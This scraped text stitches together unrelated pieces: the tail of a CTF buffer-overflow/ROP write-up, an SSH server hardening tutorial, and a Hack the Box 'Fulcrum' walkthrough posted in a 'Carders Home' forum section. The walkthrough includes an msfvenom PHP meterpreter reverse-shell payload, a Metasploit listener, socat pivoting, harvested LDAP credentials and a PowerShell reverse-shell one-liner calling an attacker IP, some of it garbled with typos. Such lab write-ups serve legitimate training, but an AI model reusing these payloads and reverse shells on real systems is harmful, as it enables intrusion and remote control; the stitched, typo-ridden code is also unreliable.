![[Image: 24.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-j8R6mbYIz_Y/W6Joa0cPk1I/AAAAAAAAaXI/VDLWcoD-zFQX9tthD6nBwN0EKDxTwRHdgCEwYBhgL/s1600/24.png?w=687&ssl=1)
When we switch to gdb we find that we get a segmentation fault.
![[Image: 25.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-tSaqmUxMLoI/W6JobCb17XI/AAAAAAAAaXU/UoBL4eJNVdEVwSIbjBkpIcH8tEhIxtVvQCEwYBhgL/s1600/25.png?w=687&ssl=1)
We now use patten_offset.rb script to find the EIP offset.
./pattern_offset.rb -q 0x63413163
1
./pattern_offset.rb -q 0x63413163
![[Image: 26.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-CA6FqGzw0jE/W6JobB8QLII/AAAAAAAAaXE/sSP0J_MtqjI9gYr5wrV_lnWuBrWZni3kACEwYBhgL/s1600/26.png?w=687&ssl=1)
We are given a hint in the description of this challenge that we can use read, write and open function to open the flag and read it.
p read
p write
p open
1
2
3
p read
p write
p open
![[Image: 27.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-RwaU16W3pg8/W6JobcrhLhI/AAAAAAAAaXU/JmYd-lvO3ToyeZcPqN_yNsePbpFxkMsDgCEwYBhgL/s1600/27.png?w=687&ssl=1)
We are now going to need ropgadget, we need pop2ret for a gadget for open function and pop3ret gadget for reading function.
ropgadget
1
ropgadget
![[Image: 28.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-CCPcslxxm54/W6Jobxu-k1I/AAAAAAAAaXY/AJBIngLOwmwiK3kbH2kLgHYEq2fpcl6qQCEwYBhgL/s1600/28.png?w=687&ssl=1)
Now if we can get the address of the ‘flag’ string, then we can just read the flag and output it to the connected socket.
find flag
1
find flag
![[Image: 29.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-BaU9j6yKM4o/W6Jobif_PBI/AAAAAAAAaXQ/-mQQLbUsFc4ah4F4R5ilQMr3anV4Kf6ugCEwYBhgL/s1600/29.png?w=687&ssl=1)
We create an exploit to get the flag. We run it and find the flag.
python level1.py
1
python level1.py
![[Image: 30.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-udkCgB_PL5g/W6JocGzAfxI/AAAAAAAAaXE/qdeGc02itWwUim3CJS3ZHj2FcA2I0rtNQCEwYBhgL/s1600/30.png?w=687&ssl=1)
LEVEL 2:
After completing level1, we log in as level2 using the given credentials. We find a file called flag and a binary file called level2 with suid bit set. When we run the binary, we find that it takes a string as an argument and then prints it.
ssh [email protected]
1
ssh [email protected]
![[Image: 31.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-4aqwt9gaVC4/W6JocZj3_7I/AAAAAAAAaXQ/RYIIqCniun4VfN3di9xe-rMROS8b7O8zQCEwYBhgL/s1600/31.png?w=687&ssl=1)
We open the file in gdb for further analysis and find that at main+46 it calls the strcpy function. As the strcpy function is vulnerable to buffer overflow we exploit it.
gdb -q level2
set disassembly-flavor intel
disas main
1
2
3
gdb -q level2
set disassembly-flavor intel
disas main
![[Image: 32.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-IlORsrbX6XU/W6Joc10UICI/AAAAAAAAaXQ/wv_iVqPqPjMiBclE4VR69CSJvUDOjMw_ACEwYBhgL/s1600/32.png?w=687&ssl=1)
On further analysis we find that it is similar to level0 binary file, we create a 500 bytes string and pass its argument and find the EIP offset to be 44 bytes.
pattern offset 0x41414641
1
pattern offset 0x41414641
![[Image: 32.1.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-ZSvQaqxmNqs/W6JoclxB0zI/AAAAAAAAaXQ/Wrd1KojM2mEJTRL16FYidsdq49gzBrQ-wCEwYBhgL/s1600/32.1.png?w=687&ssl=1)
This binary file has a strcpy function instead of gets we cannot use “\x00”. So we use gadgets to do our work. We use ropshell.com to find all the gadgets used in this exploit.
![[Image: 33.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-t-O3Gj5od9c/W6JocyTm9hI/AAAAAAAAaXM/NOFXkJT4CkEgU1ffuTtdUfcn9zVk5RChgCEwYBhgL/s1600/33.png?w=687&ssl=1)
We modified the exploit we created for level0 and inserted our gadgets. We use read function instead of the memcpy function in this exploit. (Gadgets are explained in the exploit code).
As soon as we run our exploit we spawn a shell as the root user. We open the flag file and get our final flag.
![[Image: 35.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-loqXlRTn_1M/W6JodFJkArI/AAAAAAAAaXI/ClHXVNARs1Mz6DKDGz1soE5-XOZY3RYQACEwYBhgL/s1600/35.png?w=687&ssl=1)
Secure Shell (SSH) is defined as a network protocol to operate network services securely over an unsecured network. The standard TCP port for SSH is 22. The best application of SSH is to remotely login into computer systems by users.
This article will be explaining about the network securities which help the network administrator to secure the service of SSH on any server through multiple ways.
Methods Used:
- Port Forwarding
- Disable Password-Based Login And Using PGP Key (Public Key)
- Disable Root Login and Limit SSH User’s Access
- Google Authenticator
- Time Scheduling
- Disable Empty Passwords
Before moving on, Let us first install an SSH server on our client machine using the following command.
sudo apt-get install openssh-server
1
sudo apt-get install openssh-server
![[Image: 1.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-bAz_BDoeJDU/W6cxv8XnYJI/AAAAAAAAabg/0Zp6HqKTv7ELgweJ1llYJbpF9vzvEc5SACEwYBhgL/s1600/1.png?w=687&ssl=1)
Port Redirection
Once the SSH services are configured and running, we can begin with our first security measure which is Port Forwarding. Upon initiating the scan on the client’s machine IP address using nmap, it shows that SSH is running on Port 22.
![[Image: 2.1.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-jabS5Sr8lkA/W6cxx5MCIFI/AAAAAAAAabc/yA3l6UUbg1MAo4ElxeQ7ifIz8lVendRqQCEwYBhgL/s1600/2.1.png?w=687&ssl=1)
Navigate to /etc/ssh and we will find a file named sshd_config in the client’s machine.
cd /etc/ssh
1
cd /etc/ssh
![[Image: 2.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-q0-WCdnO05Q/W6cxyL6bbYI/AAAAAAAAabU/2ImUJ32zO2Mu3bhKBfK-yKzNf842NeI5wCEwYBhgL/s1600/2.png?w=687&ssl=1)
Open the file sshd_config using nano command.
![[Image: 3.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-G0RJOK6F3Yg/W6cx0O8s8KI/AAAAAAAAabc/F5gXTbK7SOIXuW9UxuQwvyaS3aVzYSfigCEwYBhgL/s1600/3.png?w=687&ssl=1)
Now change the port 22 to port 2222 as shown in the below screenshot and save the changes made in the sshd_config file. Hence, in this way we have forwarded the port from 22 to 2222.
![[Image: 4.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-5HGbsN6M0y8/W6c_UvSvToI/AAAAAAAAaeQ/hxDHUMs8QToaA64Dm0laZjFcEkUeYOEqwCEwYBhgL/s1600/4.png?w=687&ssl=1)
Now to confirm port forwarding, we will again scan the Client’s IP address using nmap
nmap 192.168.1.104
1
nmap 192.168.1.104
The output of the nmap shows that TCP port 2222 is opened; however, shows EthernetIP-1 in the service description which doesn’t give an exact description of the service running. So we will run the following nmap command with version detection option
nmap -sV 192.168.1.104
1
nmap -sV 192.168.1.104
With the next output of nmap, it is clearly visible that SSH services are running on TCP Port 2222 along with the description of the OpenSSH version.
![[Image: 6.1.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-EfL6vFQjN_k/W6cx1OEJuII/AAAAAAAAabU/SWNZZ6iXAPcbTVo367diUjRh2vvbCjmEQCEwYBhgL/s1600/6.1.png?w=687&ssl=1)
Secure With Public Key
To begin with this security measure we need to download and install PuTTY Key Generator.
Note: PuTTYgen is a key generator tool for creating SSH keys for PuTTY and stores keys in its own format ( .ppk extension)
Open it and Click on Generate.
![[Image: 6.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-FfsQZGz8vhg/W6cx1bgqEOI/AAAAAAAAabY/3bcxd_VcqgIYwO7E7Yz6J3M_agY2jKQXQCEwYBhgL/s1600/6.png?w=687&ssl=1)
Clicking on Generate will initiate the process of generating a Public and Private Key, as shown in the image.
![[Image: 7.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-yWQKafKKnSM/W6cx1nuNbBI/AAAAAAAAabQ/ecCdgrnrK48deV4Dro0GWRh6eG2kSd6MQCEwYBhgL/s1600/7.png?w=687&ssl=1)
Once Public and Private Key are generated, click on Save Private Key. This will save the key as a Public Key.
![[Image: 8.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-YTrhT4lUcuk/W6cx1hGJ1VI/AAAAAAAAabc/sPDpldxtJMUc3gIHcXDnXP2knxM_3ifVgCEwYBhgL/s1600/8.png?w=687&ssl=1)
Now open the Ubuntu terminal of our server and type ssh-keygen.
![[Image: 9.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-NYKcuzYA2tE/W6cx138LUUI/AAAAAAAAabg/CB7fObsbifw95BwMy4nt82g1z6Fi-NaOACEwYBhgL/s1600/9.png?w=687&ssl=1)
The above command will create a folder named .ssh and then create an empty text file with the name authorized_keys in the same folder. After that copy the “ssh_login.ppk” file which was created using PuTTy Key Generator previously and paste it into the .ssh folder as shown in the image.
![[Image: 10.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-H-BtK5E_p2w/W6cxwPjvzSI/AAAAAAAAabM/-Kv9mAguYWUpv0lHlwdaa5QneD3Ue083wCEwYBhgL/s1600/10.png?w=687&ssl=1)
In the terminal, move into the .ssh folder and type the following command:
puttygen -L "ssh_login.ppk"
1
puttygen -L "ssh_login.ppk"
This command will open the key.
![[Image: 11.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-owavso2EYWg/W6cxwPU7z0I/AAAAAAAAabg/AgFYSGe3PP4qibIgF-7cNldeMqJg7vwjwCEwYBhgL/s1600/11.png?w=687&ssl=1)
Now copy this key and paste it in the empty file named authorized_keys using nano command and save it.
![[Image: 12.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-tKH3Q7Tm7F0/W6cxwVaCkuI/AAAAAAAAabc/hvmp5KTEp4cW3yGyeTSIBjvFqQliiDfxgCEwYBhgL/s1600/12.png?w=687&ssl=1)
Now open the putty configuration tab, then go to Session tab and give the IP Address & Port Number of your Clients Machine were ssh server is configured.
![[Image: 13.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-AeV0lzu6vaI/W6cxwySLvHI/AAAAAAAAabU/ZrN1YI09GJItE3x7S8qZRM2x1VNuBx4QACEwYBhgL/s1600/13.png?w=687&ssl=1)
Now go to data and give Auto-login username.
![[Image: 14.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-zQH2fBM_k7g/W6cxw8wkrMI/AAAAAAAAabM/IPQpOSCHcYE93kZb4shOwayAlz_3taqFQCEwYBhgL/s1600/14.png?w=687&ssl=1)
Navigate to SSH>Auth and give the path of the ssh_login.ppk file (the public key that was generated earlier) and then click Open.
![[Image: 15.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-yPqVpZ1ZdAA/W6cxxLeLtgI/AAAAAAAAabc/x7_8x612SEIC3C3PA6gCOmm8vwU4jewpgCEwYBhgL/s1600/15.png?w=687&ssl=1)
It will simply use the public key to Login into SSH Server without asking for Password.
![[Image: 16.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-ZIeEZDdFN2Y/W6cxxRVJp7I/AAAAAAAAabM/SQ9aURlK67UBheIvBxLXlNr2jtOgzaw1gCEwYBhgL/s1600/16.png?w=687&ssl=1)
Open the sshd_config file in /etc/ssh using gedit command. Here we will make changes in line #PasswordAuthentication as shown in the image.
Current configuration
#PasswordAuthentication yes
![[Image: 17.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-rN3oOOYpE4M/W6cxxw8ZamI/AAAAAAAAabI/fEIL9dVp4gAJG0ReI81wU9GDNaRno3YnwCEwYBhgL/s1600/17.png?w=687&ssl=1)
Now we will edit parameter value yes to no and remove the # (hash) as shown in the below image. Once done save the changes made. These changes will disable any user to log into SSH Server using the password.
PasswordAuthentication no
![[Image: 19.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-A0iC98WVaMI/W6cxxnrJlrI/AAAAAAAAabY/IBEzIsC2HEMBQrN_-XO1PgX4uNVWPztMQCEwYBhgL/s1600/19.png?w=687&ssl=1)
As you can see these settings have disabled password based login and is indeed asking for a Public Key to log in.
![[Image: 20.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-e8N7w1cBG3c/W6cxyVo2xxI/AAAAAAAAabU/cJawOa8xv6o8eqpgjbN5Mxrekb3WMG4dQCEwYBhgL/s1600/20.png?w=687&ssl=1)
Disable Root Login and Limit SSH User’s Access
To begin with, this security measure you need to make some new User’s using adduser command (New User’s We have Created: h1,h2,h3,h4) then make changes in the sshd_config file in /etc/ssh using gedit command. Type the Following Lines under #Authentication:
#No root login allowed (h2 can log in as sudo –s)
PermitRootLogin no
## only allow 1 users h2 (sysadmin)
AllowUsers h2
Remember to save the changes made. This will disable Root Login and will allow the only h2 user to log into ssh server remotely.
![[Image: 21.1.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-vW1qjKZh0dc/W6cxyiXswjI/AAAAAAAAabI/bRuhh8gvBZse1Gk8M9UykSrOUY1PB-Z3gCEwYBhgL/s1600/21.1.png?w=687&ssl=1)
As you can see the only h2 user is able to successfully log into SSH Server, where h1 and h3 users permission to log into SSH Server is denied.
![[Image: 21.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-_kM8-ucdL5U/W6cxy1UMH5I/AAAAAAAAabU/-C_oKMlIWqU8XvO02sQnjoB2UWYnbzHQwCEwYBhgL/s1600/21.png?w=687&ssl=1)
Google Authenticator
To begin with the two-factor authentication over SSH Server, you need to download the google authenticator application on your phone and also install the required dependency package for Ubuntu using the following command:
sudo apt-get install libpam-google-authenticator
1
sudo apt-get install libpam-google-authenticator
NOTE-The installation of google authenticator will as ask a couple of questions give Yes for every question asked.
![[Image: 23.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-L75PSBNwZWo/W6cxzMhCvsI/AAAAAAAAabc/RUqbiRoCp5EUO3PjdUGtST3qEdkh3XVigCEwYBhgL/s1600/23.png?w=687&ssl=1)
After the installation is completed. Open terminal and type command:
google-authenticator
1
google-authenticator
We will see a barcode. Scan it using the google authenticator application on your phone.
![[Image: 24.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-Lafdxr-6g7I/W6cxzb82PgI/AAAAAAAAabc/WS8IRrC5nVYY-8pvpuyrnGOZpb2muM8TwCEwYBhgL/s1600/24.png?w=687&ssl=1)
Once the application has scanned the barcode, it will start generating One Time Password’s as shown in the image.
![[Image: 25.jpg?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-PSdOaNZzxA0/W6cxzpACgzI/AAAAAAAAabY/vsZxafDXoVQXLJm579zNggC88SAgEHXYACEwYBhgL/s1600/25.jpg?w=687&ssl=1)
Now open sshd file in /etc/pam.d using gedit command and make the following changes:
- Add # to @include common-auth
- Add Line (auth required pam_google_authenticator.so) under @include common-password
As shown in the image.
![[Image: 26.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-nL65xzPsbN4/W6c_S8L9rWI/AAAAAAAAaeM/Vdp7gUQ9ZOkcD4fHM9hzWYHBUGuLhRKLgCEwYBhgL/s1600/26.png?w=687&ssl=1)
Now open the sshd_config file in /etc/ssh using gedit command and make the following changes.
ChallengeResponseAuthentication yes
![[Image: 27.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-2WV-ip1Vuus/W6c_TNhqV2I/AAAAAAAAaeM/cdQVqlFqhEYO7jL65-FTkPQd6PD3cBhIQCEwYBhgL/s1600/27.png?w=687&ssl=1)
When we log into SSH Server it will prompt for a verification code, Here we have to enter the One Time Password generated on our google authenticator application. As you can see we have successfully logged into SSH Server using One Time Password.
![[Image: 30.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-xvMnjukazuU/W6c_Tg2y5NI/AAAAAAAAadg/3BWeCLDuziETSY0Gcq6aHRGaUI3GNk9XQCEwYBhgL/s1600/30.png?w=687&ssl=1)
Time Scheduling
In this security measure, we are going to set the time limit on SSH service on the server.
Cron is a built-in service of Linux to schedule task, which enables a job (command or script) on the server to run automatically over specified time and date.
Here we are going to schedule SSH services using crontab
We had open crontab in /etc using nano command. Now lets schedule ssh service in a way that it will start for every 2nd minute and will get stop after every 4th minute. The command used to schedule the SSH Service are given below:
*/2 * * * * root service ssh start
*/4 * * * * root service ssh stop
1
2
*/2 * * * * root service ssh start
*/4 * * * * root service ssh stop
Save the changes made in the file.
![[Image: 31.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-uqc3m6bJfWA/W6dAGNRELVI/AAAAAAAAaeo/rDzcQHdCxVE4qflr1VBBt8nYiBhu4YdwACLcBGAs/s1600/31.png?w=687&ssl=1)
Wait for service to reboot. Using nmap we have scan port 22.
nmap -p 22 192.168.1.104
1
nmap -p 22 192.168.1.104
After running the scan, we will observe that ssh service on port 22 is CLOSED because it is the 4th minute which has started.
Now if our command is working properly it should start itself on every 2nd minute, to confirm it we will again initiate a scan using nmap.
nmap –p 22 192.168.1.104
1
nmap –p 22 192.168.1.104
As we can see that the port is in the OPEN state now.
![[Image: 32.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-WWsxwKjtI3E/W6c_T5VKICI/AAAAAAAAado/8Hmdgl6mlZgwb2UF62X53DVhwefSutdzQCEwYBhgL/s1600/32.png?w=687&ssl=1)
Disable Empty Password
In this security measure, as a best practice; one should always disable empty password login to the SSH Server. To enable this setting we need to open the sshd_config file using gedit command and make the following changes:
PermitEmptyPasswords No
These changes will simply disable empty password login’s into SSH Server.
|
|
|
|
| [Guide] How to Hack the Box: Fulcrum Walkthrough |
|
Posted by: NINZA - 05-14-2020, 09:42 AM - Forum: Carders Home
- No Replies
|
 |
Hello friends!! Today we are going to solve another CTF challenge “Fulcrum” which is available online for those who want to increase their skill in penetration testing and black box testing. Fulcrum is a retired vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level; they have the collection of vulnerable labs as challenges from beginners to Expert level.
Level: Expert
Task: find user.txt and root.txt file on the victim’s machine.
Since these labs are online available therefore they have static IP and IP of Fulcrum is 10.10.10.62 so let’s begin with nmap port enumeration.
We need to do a nmap version scan so that we can get better information about the open ports.
nmap -sV -p- 10.10.10.62
1
nmap -sV -p- 10.10.10.62
From the given below image, you can observe that we find ports 4, 22, 80, 88, 9999, 56423 are open.
![[Image: 1.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-WhQvoDGkLtw/W5_XaMS6yOI/AAAAAAAAaR4/DFY_wmuMK_MP2aIZwjFi2Eb8XdCOlFS8gCEwYBhgL/s1600/1.png?w=687&ssl=1)
As port 4 is running Nginx server, the Nginx server hosts the webpage to view it we will open it in our browser to find a page that says it is under maintenance along with a link that says try again.
![[Image: 2.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-XLrC386evRE/W5_Xdv4OOsI/AAAAAAAAaSA/F2XVpDUfRrUkBhZLkdQ_SMYdOXNnJF9eACEwYBhgL/s1600/2.png?w=687&ssl=1)
We will click on the link and find that there is a page parameter that we found to be vulnerable to LFI.
![[Image: 3.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-GLu3m520O-Q/W5_Xi9bTAbI/AAAAAAAAaSA/Cbt0xQzeTkYcq_gz5oqLD76lp2eTcd3uQCEwYBhgL/s1600/3.png?w=687&ssl=1)
Back to the nmap scan we also saw that port 80 is running Nginx server, we open it in our browser and find a server error This was proved to be a dead end
![[Image: 4.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-X5tuPlDS3L8/W5_XjVkd2EI/AAAAAAAAaSM/mV0vJOVreE86YlkovARy1U7bKKflCBRqwCEwYBhgL/s1600/4.png?w=687&ssl=1)
Let’s try our lock on Port 88 which I also running nginx server, we open the IP address in our browser on port 88 and find a phpmyadmin page. As we don’t have any hint or clue for the credentials, we will have to try another port.
![[Image: 5.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-TTxEiikeqVc/W5_Xjv9YBsI/AAAAAAAAaSA/WOeCQJuPQkcfRbn6Qhofz6Mf_jRTiycZACEwYBhgL/s1600/5.png?w=687&ssl=1)
Port 9999 is running nginx server, we open the IP address on port 9999 in our browser and find a pfsense login page.
![[Image: 6.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-bcQPXpr5rT8/W5_Xj2xLewI/AAAAAAAAaSE/6KPevOsqSqwdISAbrWH1QZ0jPlYkdjx0wCEwYBhgL/s1600/6.png?w=687&ssl=1)
Port 56423 is running nginx, so visiting the service on Port 56423 brings us to what appears to be some sort of “API” endpoint as we receive a JSON response.
![[Image: 7.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-ZIA0nOBncDA/W5_XjwfLIQI/AAAAAAAAaSA/Dd_N6VMlkxUMOwqkBq7Ls18KsF6japn2QCEwYBhgL/s1600/7.png?w=687&ssl=1)
It is possible that this page is vulnerable to XXE, so we create a shell so that can upload and execute it on the target machine.
msfvenom -p php/meterpreter/reverse_tcp lhost=10.10.14.6 lport=4444 -f raw > shell.php
1
msfvenom -p php/meterpreter/reverse_tcp lhost=10.10.14.6 lport=4444 -f raw > shell.php
After creating a shell, we start an HTTP server on our system using python.
python -m SimpleHTTPServer 80
1
python -m SimpleHTTPServer 80
![[Image: 8.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-YZmoHirkkrc/W5_XkETuNaI/AAAAAAAAaSM/qsS6I4LFw801cITd05p-hgdCj16OXHX6ACEwYBhgL/s1600/8.png?w=687&ssl=1)
After creating the shell, we set up our listener using Metasploit-framework.
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 10.10.14.6
msf exploit(multi/handler) > set lport 4444
msf exploit(multi/handler) > run
1
2
3
4
5
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 10.10.14.6
msf exploit(multi/handler) > set lport 4444
msf exploit(multi/handler) > run
![[Image: 9.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-oVZtP0nyDcc/W5_XkaU3v7I/AAAAAAAAaSI/QK4QSzD3bPQuNI_NQ7rd6p4u5IE05iiJQCEwYBhgL/s1600/9.png?w=687&ssl=1)
Using BurpSuite, we will capture the request, and upload the php shell. But we are unable to get a reverse shell.
![[Image: 10.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-79HXnPyUs6g/W5_XaNh6unI/AAAAAAAAaR4/uv5LrnmODDQT67rhvAyAuoAMcsYpfDxLwCEwYBhgL/s1600/10.png?w=687&ssl=1)
We then try to exploit the page we find on port 4 using RFI and were able to successfully get a reverse shell.
![[Image: 11.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-_p9eb51dS4c/W5_XaMk7uWI/AAAAAAAAaSA/exTd2ZKMacwwf6CMdjXo8zcLpUfcHXroQCEwYBhgL/s1600/11.png?w=687&ssl=1)
We get the reverse shell, but it was not a proper shell. We will spawn a tty shell using python.
python -c "import pty; pty.spawn('/bin/bash')"
1
python -c "import pty; pty.spawn('/bin/bash')"
![[Image: 12.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-Xv4oLu85YEs/W5_XbIyIGoI/AAAAAAAAaR0/cCMQkBhaCdMY7wmkfUvOZnLN439_PIvtACEwYBhgL/s1600/12.png?w=687&ssl=1)
After spawning a tty shell, we find a file called ‘Fulcrum_Upload_to_Corp.ps1’ we open and find it is a PowerShell script to encrypt the password it goes through some functions.
![[Image: 13.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-EvZjCL-esBo/W5_Xa0g_L9I/AAAAAAAAaSM/SITV6RyxOawmRThzCPTZPGNC3frHVsNlwCEwYBhgL/s1600/13.png?w=687&ssl=1)
Now we copy the content of the script and paste it in a site called [To see content please register here] We do this in hope to extract the logon credentials on the server.
![[Image: 14.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-DdD34NV5jso/W5_XbNRU2qI/AAAAAAAAaR8/L8aHzWw_SYEN6LxXfiWTewQsfpq2HPa5gCEwYBhgL/s1600/14.png?w=687&ssl=1)
Enumerating further into the system we find a file that contains an interesting internal IP address:192.168.122.228. Further what to do is that we will divert our attention to enumerate this IP address.
![[Image: 15.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-ngxLnoTPeBA/W5_Xbrjv87I/AAAAAAAAaR4/6vdhnPEUQoswXgj-z4COm-bWXBhNDeMBACEwYBhgL/s1600/15.png?w=687&ssl=1)
We scan the port of the IP address using netcat. After completion of the scan, we find that port 5986 is open.
nc -zv 192.168.122.228 1-65535
1
nc -zv 192.168.122.228 1-65535
![[Image: 16.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-w-EAZhvqY7E/W5_XcGuNCvI/AAAAAAAAaSE/uJ2fw53j04AGNDUVHO3huNdpyx_02FmFwCEwYBhgL/s1600/16.png?w=687&ssl=1)
We download socat into the target machine. Socat is a very useful tool which helps us to pivot our way into another network.
cd /tmp
wget [To see content please register here]
./socat tcp-listen:60217,reuseaddr,fork tcp:192.168.122.228:5986 &
1
2
3
cd /tmp
wget [To see content please register here]
./socat tcp-listen:60217,reuseaddr,fork tcp:192.168.122.228:5986 &
![[Image: 18.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-7U2zsTQcXAQ/W5_Xch7gA2I/AAAAAAAAaSI/hLMj7qAlG9soIy52IJlqrLSSDjWLEaXNgCEwYBhgL/s1600/18.png?w=687&ssl=1)
We relay the connection to port 60217 on 10.10.10.62 using socat.
socat tcp-listen:5986,reuseaddr,fork tcp:10.10.10.62:60217
1
socat tcp-listen:5986,reuseaddr,fork tcp:10.10.10.62:60217
![[Image: 19.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-QRP2yFmblfY/W5_XdPLripI/AAAAAAAAaSE/BqB9yj1FmQMBxsbpbnaGbMJoWEEk1wh9gCEwYBhgL/s1600/19.png?w=687&ssl=1)
We will now use PowerShell on our windows machine to connect to the kali machine that will allow us to directly connect to the target machine. After connecting we take a look at the content of the default directory we are in and find a few files called “CheckFileServer.ps1”, “Invoke-PsExec.ps1” and “user.txt”.
Enter-PSSession -ComputerName 192.168.199.130 -Credential $5 -UseSSL -SessionOption (New-PSSessionOption -SkipCACheck -SkipCNCheck)
dir
type user.txt
type CheckFileServer.ps1
1
2
3
4
Enter-PSSession -ComputerName 192.168.199.130 -Credential $5 -UseSSL -SessionOption (New-PSSessionOption -SkipCACheck -SkipCNCheck)
dir
type user.txt
type CheckFileServer.ps1
![[Image: 20.PNG?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-dc67rdhVchw/W5_XeIct2II/AAAAAAAAaR8/-I69rkHKk8Yh6Hbju-yXYIp60MudrYfXgCEwYBhgL/s1600/20.PNG?w=687&ssl=1)
Enumerating through the directories inside default IIS directory, we open web.config file and find LDAP login credentials.
![[Image: 21.PNG?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-dIaUcaryEio/W5_Xe8aCaAI/AAAAAAAAaR8/xmqJrHa2K-gJSGswEtl1r9vrhU65UA56wCEwYBhgL/s1600/21.PNG?w=687&ssl=1)
Let’s create an LDAP query, and find two CNs: DC and File. We create a query about these CN’s and find some credentials.
(New-Object adsisearcher((New-Object adsi("LDAP://dc.fulcrumlocal”, "fulcrum\ldap","PasswordForSearch123!")),(objectCategory=Computer)")).FindAll() | %{ $_.Properties.name }
1
(New-Object adsisearcher((New-Object adsi("LDAP://dc.fulcrumlocal”, "fulcrum\ldap","PasswordForSearch123!")),(objectCategory=Computer)")).FindAll() | %{ $_.Properties.name }
![[Image: 22.PNG?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-YfCucyZbaiY/W5_XfZP5RwI/AAAAAAAAaSA/jxhGV2EOnLkAi5lFNjuS42w0WtKKcOauACEwYBhgL/s1600/22.PNG?w=687&ssl=1)
We create a script to get a the user.txt and were successfully able to get the first flag. We do not have permission to get multiple PS hop.
Invoke-Command -CommandName file.fulcrm.local -Credential fulcrum.local\btables -Port 5985 -ScriptBlock { type C:\User\Btables\Desktop\user.txt }
Invoke-Command -ComputerName file.fulcrum.local -Credentail fulcrum.local\btables -Port 5985 -ScriptBlock {$client = New-Object System.Net.Sockets.TCPClient('10.10.14.6',53);$stream =$client.GertStream(); [byte[]]$bytes = 0..65535|%{0};while(($i =$stream.Read($bytes.0 $bytes.Lenght)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String); $sendback2 = $sendback + ‘PS ‘ + (pwd).Path + ‘>’;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Lenght);$stream.Flush();$client.Close() }
1
2
Invoke-Command -CommandName file.fulcrm.local -Credential fulcrum.local\btables -Port 5985 -ScriptBlock { type C:\User\Btables\Desktop\user.txt }
